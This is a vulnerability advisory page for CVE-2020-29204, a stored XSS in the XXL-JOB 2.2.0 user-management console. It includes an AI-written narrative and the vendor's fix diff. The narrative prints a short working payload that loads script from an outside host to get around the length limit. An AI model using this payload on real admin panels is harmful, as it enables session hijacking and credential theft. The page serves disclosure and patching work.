CVE-2020-29204
Description
XXL-JOB 2.2.0 contains a stored XSS vulnerability in the Add User function that bypasses the 20-character input limit, allowing arbitrary JavaScript execution.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
XXL-JOB 2.2.0 contains a stored XSS vulnerability in the Add User function that bypasses the 20-character input limit, allowing arbitrary JavaScript execution.
The vulnerability is a stored cross-site scripting (XSS) flaw in the user management module of XXL-JOB version 2.2.0. The issue resides in the UserController.java file, where user input is not properly sanitized before being stored and later rendered in the admin panel. The official description notes that the 20-character length limit can be bypassed, enabling injection of malicious scripts [1][3].
An attacker with access to the Add User functionality can inject a payload such as <script/src=//14.rs> which, despite the length restriction, executes when the page loads. The attack does not require authentication beyond having a valid admin session, as the user management interface is part of the scheduling center's administrative console. The stored XSS triggers automatically when any administrator views the affected user list [4].
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the admin panel. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim administrator. Since XXL-JOB is a distributed task scheduling framework used in production environments, the impact could extend to compromising the entire job scheduling infrastructure [1][3].
The vendor addressed this issue in a subsequent commit that added input validation to block HTML tags in the appname and title fields of the job group management, and similar sanitization is expected for user management. Users are advised to upgrade to a patched version (2.3.0 or later) or apply the relevant security fixes manually. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities catalog as of this writing [2][3].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
com.xuxueli:xxl-job-coreMaven | < 2.3.0 | 2.3.0 |
Affected products
2- XXL-JOB/XXL-JOBdescription
Patches
1227628567354调度中心页面交互优化:用户管理模块密码列取消;多处表达autocomplete取消;执行器管理模块XSS拦截校验等;
6 files changed · +25 −6
doc/XXL-JOB官方文档.md+2 −0 modified@@ -2062,9 +2062,11 @@ data: post-data - 16、调度中心组件加载顺序优化,修复极端情况下调度组件初始慢导致的调度失败问题; - 17、执行器注册线程优化,修复极端情况下初始化失败时导致NPE问题; - 18、执行器Commandhandler示例任务优化,修复极端情况下脚本进程挂起问题; +- 19、调度中心页面交互优化:用户管理模块密码列取消;多处表达autocomplete取消;执行器管理模块XSS拦截校验等; - 19、[ING]任务触发参数优化:支持选择 "Cron触发"、"固定间隔时间触发"、"指定时间点触发"、"不选择" 等; - 20、[ING]任务 misfire 策略:忽略、补偿一次、补偿最近10次……等; - 21、[规划中]执行器注册,异步写入; +- 22、[规划中]默认开启访问令牌鉴权; ### 7.32 版本 v2.3.0 Release Notes[规划中]
xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobGroupController.java+10 −0 modified@@ -68,13 +68,23 @@ public ReturnT<String> save(XxlJobGroup xxlJobGroup){ if (xxlJobGroup.getAppname().length()<4 || xxlJobGroup.getAppname().length()>64) { return new ReturnT<String>(500, I18nUtil.getString("jobgroup_field_appname_length") ); } + if (xxlJobGroup.getAppname().contains(">") || xxlJobGroup.getAppname().contains("<")) { + return new ReturnT<String>(500, "AppName"+I18nUtil.getString("system_unvalid") ); + } if (xxlJobGroup.getTitle()==null || xxlJobGroup.getTitle().trim().length()==0) { return new ReturnT<String>(500, (I18nUtil.getString("system_please_input") + I18nUtil.getString("jobgroup_field_title")) ); } + if (xxlJobGroup.getTitle().contains(">") || xxlJobGroup.getTitle().contains("<")) { + return new ReturnT<String>(500, I18nUtil.getString("jobgroup_field_title")+I18nUtil.getString("system_unvalid") ); + } if (xxlJobGroup.getAddressType()!=0) { if (xxlJobGroup.getAddressList()==null || xxlJobGroup.getAddressList().trim().length()==0) { return new ReturnT<String>(500, I18nUtil.getString("jobgroup_field_addressType_limit") ); } + if (xxlJobGroup.getAddressList().contains(">") || xxlJobGroup.getAddressList().contains("<")) { + return new ReturnT<String>(500, I18nUtil.getString("jobgroup_field_registryList")+I18nUtil.getString("system_unvalid") ); + } + String[] addresss = xxlJobGroup.getAddressList().split(","); for (String item: addresss) { if (item==null || item.trim().length()==0) {
xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java+7 −0 modified@@ -56,6 +56,13 @@ public Map<String, Object> pageList(@RequestParam(required = false, defaultValue List<XxlJobUser> list = xxlJobUserDao.pageList(start, length, username, role); int list_count = xxlJobUserDao.pageListCount(start, length, username, role); + // filter + if (list!=null && list.size()>0) { + for (XxlJobUser item: list) { + item.setPassword(null); + } + } + // package result Map<String, Object> maps = new HashMap<String, Object>(); maps.put("recordsTotal", list_count); // 总记录数
xxl-job-admin/src/main/resources/static/js/user.index.1.js+1 −1 modified@@ -33,7 +33,7 @@ $(function() { }, { "data": 'password', - "visible" : true, + "visible" : false, "width":'20%', "render": function ( data, type, row ) { return '*********';
xxl-job-admin/src/main/resources/templates/jobgroup/jobgroup.index.ftl+2 −2 modified@@ -28,13 +28,13 @@ <div class="col-xs-3"> <div class="input-group"> <span class="input-group-addon">AppName</span> - <input type="text" class="form-control" id="appname" autocomplete="on" placeholder="${I18n.system_please_input}AppName" > + <input type="text" class="form-control" id="appname" placeholder="${I18n.system_please_input}AppName" > </div> </div> <div class="col-xs-3"> <div class="input-group"> <span class="input-group-addon">${I18n.jobgroup_field_title}</span> - <input type="text" class="form-control" id="title" autocomplete="on" placeholder="${I18n.jobgroup_field_title}" > + <input type="text" class="form-control" id="title" placeholder="${I18n.jobgroup_field_title}" > </div> </div> <div class="col-xs-2">
xxl-job-admin/src/main/resources/templates/jobinfo/jobinfo.index.ftl+3 −3 modified@@ -46,17 +46,17 @@ </div> <div class="col-xs-2"> <div class="input-group"> - <input type="text" class="form-control" id="jobDesc" autocomplete="on" placeholder="${I18n.system_please_input}${I18n.jobinfo_field_jobdesc}" > + <input type="text" class="form-control" id="jobDesc" placeholder="${I18n.system_please_input}${I18n.jobinfo_field_jobdesc}" > </div> </div> <div class="col-xs-2"> <div class="input-group"> - <input type="text" class="form-control" id="executorHandler" autocomplete="on" placeholder="${I18n.system_please_input}JobHandler" > + <input type="text" class="form-control" id="executorHandler" placeholder="${I18n.system_please_input}JobHandler" > </div> </div> <div class="col-xs-2"> <div class="input-group"> - <input type="text" class="form-control" id="author" autocomplete="on" placeholder="${I18n.system_please_input}${I18n.jobinfo_field_author}" > + <input type="text" class="form-control" id="author" placeholder="${I18n.system_please_input}${I18n.jobinfo_field_author}" > </div> </div> <div class="col-xs-1">
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/advisories/GHSA-wc73-w5r9-x9pcghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2020-29204ghsaADVISORY
- github.com/xuxueli/xxl-job/commit/227628567354d3c156951009d683c6fec3006e0eghsaWEB
- github.com/xuxueli/xxl-job/issues/2083ghsax_refsource_MISCWEB
News mentions
0No linked articles in our index yet.